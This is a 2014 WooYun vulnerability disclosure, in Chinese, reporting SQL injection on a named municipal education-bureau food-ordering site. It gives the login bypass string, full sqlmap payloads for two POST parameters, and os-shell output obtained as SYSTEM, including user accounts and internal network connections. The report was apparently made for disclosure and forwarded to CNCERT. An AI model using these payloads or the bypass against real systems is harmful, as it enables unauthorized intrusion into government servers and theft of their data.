当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087171

漏洞标题：某市GOV网上系统万能密码（SQL注入）

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2014-12-15 18:01

修复时间：2015-01-29 18:02

公开时间：2015-01-29 18:02

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-15： 细节已通知厂商并且等待厂商处理中
2014-12-18： 厂商已经确认，细节仅向厂商公开
2014-12-28： 细节向核心白帽子及相关领域专家公开
2015-01-07： 细节向普通白帽子公开
2015-01-17： 细节向实习白帽子公开
2015-01-29： 细节向公众公开

简要描述：

一不小心登录进去了。

详细说明：

网址：http://jyjdc.pdsedu.gov.cn:9914/ 平顶山教育局网上订餐系统
存在万能密码：admin' or '1'='1 登录，如图：

xxxx.jpg

既然，存在万能密码，那么丢到SQLMAP跑了一下，感觉XX了。

Place: POST
Parameter: UserName
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa' AND 7967=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (7967=7967) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(107)+CHAR(113))) AND 'mwBA'='mwBA&Pwd=aaa&ImageButton1.x=76&ImageButton1.y=33
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+CHAR(70)+CHAR(108)+CHAR(117)+CHAR(79)+CHAR(84)+CHAR(65)+CHAR(120)+CHAR(86)+CHAR(76)+CHAR(68)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(107)+CHAR(113),NULL-- &Pwd=aaa&ImageButton1.x=76&ImageButton1.y=33
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa'; WAITFOR DELAY '0:0:5'--&Pwd=aaa&ImageButton1.x=76&ImageButton1.y=33
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa' WAITFOR DELAY '0:0:5'--&Pwd=aaa&ImageButton1.x=76&ImageButton1.y=33
Place: POST
Parameter: Pwd
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa' AND 7959=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (7959=7959) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(107)+CHAR(113))) AND 'tRjo'='tRjo&ImageButton1.x=76&ImageButton1.y=33
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa' UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+CHAR(97)+CHAR(106)+CHAR(108)+CHAR(65)+CHAR(113)+CHAR(70)+CHAR(98)+CHAR(88)+CHAR(75)+CHAR(85)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL-- &ImageButton1.x=76&ImageButton1.y=33
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa'; WAITFOR DELAY '0:0:5'--&ImageButton1.x=76&ImageButton1.y=33
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa' WAITFOR DELAY '0:0:5'--&ImageButton1.x=76&ImageButton1.y=33
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user:    'of'
current database:    'OrderingFood'

总共28个数据库：

xxxx.jpg

OA,FTP敏感信息：

xxx.jpg

xxxx.jpg

未做其他操作，试了一下os-shell，直接就system了，然后吓尿了：

Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa'; WAITFOR DELAY '0:0:5'--&ImageButton1.x=76&ImageButton1.y=33
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa' WAITFOR DELAY '0:0:5'--&ImageButton1.x=76&ImageButton1.y=33
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
command standard output:
---
Windows IP \xe9\x85\x8d\xe7\xbd\xae
 
 
\xe4\xbb\xa5\xe5\xa4\xaa\xe7\xbd\x91\xe9\x80\x82\xe9\x85\x8d\xe5\x99\xa8 nei:
 
   \xe8\xbf\x9e\xe6\x8e\xa5\xe7\x89\xb9\xe5\xae\x9a\xe7\x9a\x84 DNS \xe5\x90\x8e\xe7\xbc\x80 . . . . . . . : 
   \xe6\x9c\xac\xe5\x9c\xb0\xe9\x93\xbe\xe6\x8e\xa5 IPv6 \xe5\x9c\xb0\xe5\x9d\x80. . . . . . . . : fe80::454e:6251:e178:9cd4%10
   IPv4 \xe5\x9c\xb0\xe5\x9d\x80 . . . . . . . . . . . . : 192.168.0.110
   \xe5\xad\x90\xe7\xbd\x91\xe6\x8e\xa9\xe7\xa0\x81  . . . . . . . . . . . . : 255.255.255.0
---
command standard output [1]:
[*] nt authority\\system
command standard output:
---
\\\\ \xe7\x9a\x84\xe7\x94\xa8\xe6\x88\xb7\xe5\xb8\x90\xe6\x88\xb7
 
-------------------------------------------------------------------------------
Admin123                 Administrator-nlrr       Administrator-sql        
---

内网服务器，08系统，站库分离，Admin123这个帐号不知道谁创建的，请检查。
站库分离:

command standard output:
---
\xe6\xb4\xbb\xe5\x8a\xa8\xe8\xbf\x9e\xe6\x8e\xa5
 
  \xe5\x8d\x8f\xe8\xae\xae  \xe6\x9c\xac\xe5\x9c\xb0\xe5\x9c\xb0\xe5\x9d\x80          \xe5\xa4\x96\xe9\x83\xa8\xe5\x9c\xb0\xe5\x9d\x80        \xe7\x8a\xb6\xe6\x80\x81           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       856
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       1592
  TCP    0.0.0.0:2383           0.0.0.0:0              LISTENING       1656
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       488
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       532
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING       940
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING       1008
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING       632
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING       584
  TCP    127.0.0.1:1434         0.0.0.0:0              LISTENING       1592
  TCP    192.168.0.110:139      0.0.0.0:0              LISTENING       4
  TCP    192.168.0.110:1433     192.168.0.12:49182     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.20:4230      ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.20:4307      ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.20:4353      ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.20:4354      ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.20:4380      ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.20:4381      ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.20:4382      ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.90:3372      ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1656     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1823     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1841     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1842     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1843     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1844     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1845     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1846     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1847     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1848     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1849     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1850     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1851     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1852     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1853     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1854     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1855     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1856     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1857     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1858     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1859     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1860     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1864     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1865     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1866     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1867     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1868     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1869     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1870     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1871     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1872     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1873     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1897     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1898     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:1922     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:2200     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:3859     ESTABLISHED     1592
  TCP    192.168.0.110:1433     192.168.0.140:3863     ESTABLISHED     1592
  TCP    [::]:135               [::]:0                 LISTENING       856
  TCP    [::]:1433              [::]:0                 LISTENING       1592
  TCP    [::]:2383              [::]:0                 LISTENING       1656
  TCP    [::]:3389              [::]:0                 LISTENING       488
  TCP    [::]:5357              [::]:0                 LISTENING       4
  TCP    [::]:49152             [::]:0                 LISTENING       532
  TCP    [::]:49153             [::]:0                 LISTENING       940
  TCP    [::]:49154             [::]:0                 LISTENING       1008
  TCP    [::]:49155             [::]:0                 LISTENING       632
  TCP    [::]:49156             [::]:0                 LISTENING       584
  TCP    [::1]:1434             [::]:0                 LISTENING       1592
  UDP    0.0.0.0:123            *:*                                    336
  UDP    0.0.0.0:500            *:*                                    1008
  UDP    0.0.0.0:1434           *:*                                    1748
  UDP    0.0.0.0:4500           *:*                                    1008
  UDP    0.0.0.0:5355           *:*                                    488
  UDP    192.168.0.110:137      *:*                                    4
  UDP    192.168.0.110:138      *:*                                    4
  UDP    [::]:123               *:*                                    336
  UDP    [::]:500               *:*                                    1008
---

没有做过多操作，不敢乱搞。目测可以内网渗透。请尽快修复。

漏洞证明：

Place: POST
Parameter: UserName
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa' AND 7967=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (7967=7967) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(107)+CHAR(113))) AND 'mwBA'='mwBA&Pwd=aaa&ImageButton1.x=76&ImageButton1.y=33
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+CHAR(70)+CHAR(108)+CHAR(117)+CHAR(79)+CHAR(84)+CHAR(65)+CHAR(120)+CHAR(86)+CHAR(76)+CHAR(68)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(107)+CHAR(113),NULL-- &Pwd=aaa&ImageButton1.x=76&ImageButton1.y=33
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa'; WAITFOR DELAY '0:0:5'--&Pwd=aaa&ImageButton1.x=76&ImageButton1.y=33
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa' WAITFOR DELAY '0:0:5'--&Pwd=aaa&ImageButton1.x=76&ImageButton1.y=33
Place: POST
Parameter: Pwd
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa' AND 7959=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (7959=7959) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(107)+CHAR(113))) AND 'tRjo'='tRjo&ImageButton1.x=76&ImageButton1.y=33
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa' UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+CHAR(97)+CHAR(106)+CHAR(108)+CHAR(65)+CHAR(113)+CHAR(70)+CHAR(98)+CHAR(88)+CHAR(75)+CHAR(85)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL-- &ImageButton1.x=76&ImageButton1.y=33
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa'; WAITFOR DELAY '0:0:5'--&ImageButton1.x=76&ImageButton1.y=33
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwULLTExMzM3NzE1ODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjH1YA7KckbggWgxuMUm0OrKy70HoQ==&__EVENTVALIDATION=/wEWBALb5cLKCgKvruq2CALmmdGVDALSwpnTCAd/t9Zuht7AHR0QJN6NiXmoz5Ps&UserName=aaa&Pwd=aaa' WAITFOR DELAY '0:0:5'--&ImageButton1.x=76&ImageButton1.y=33
---

修复方案：

过滤过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-12-18 20:43

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给河南分中心，由其后续协调网站管理单位处置

最新状态：

暂无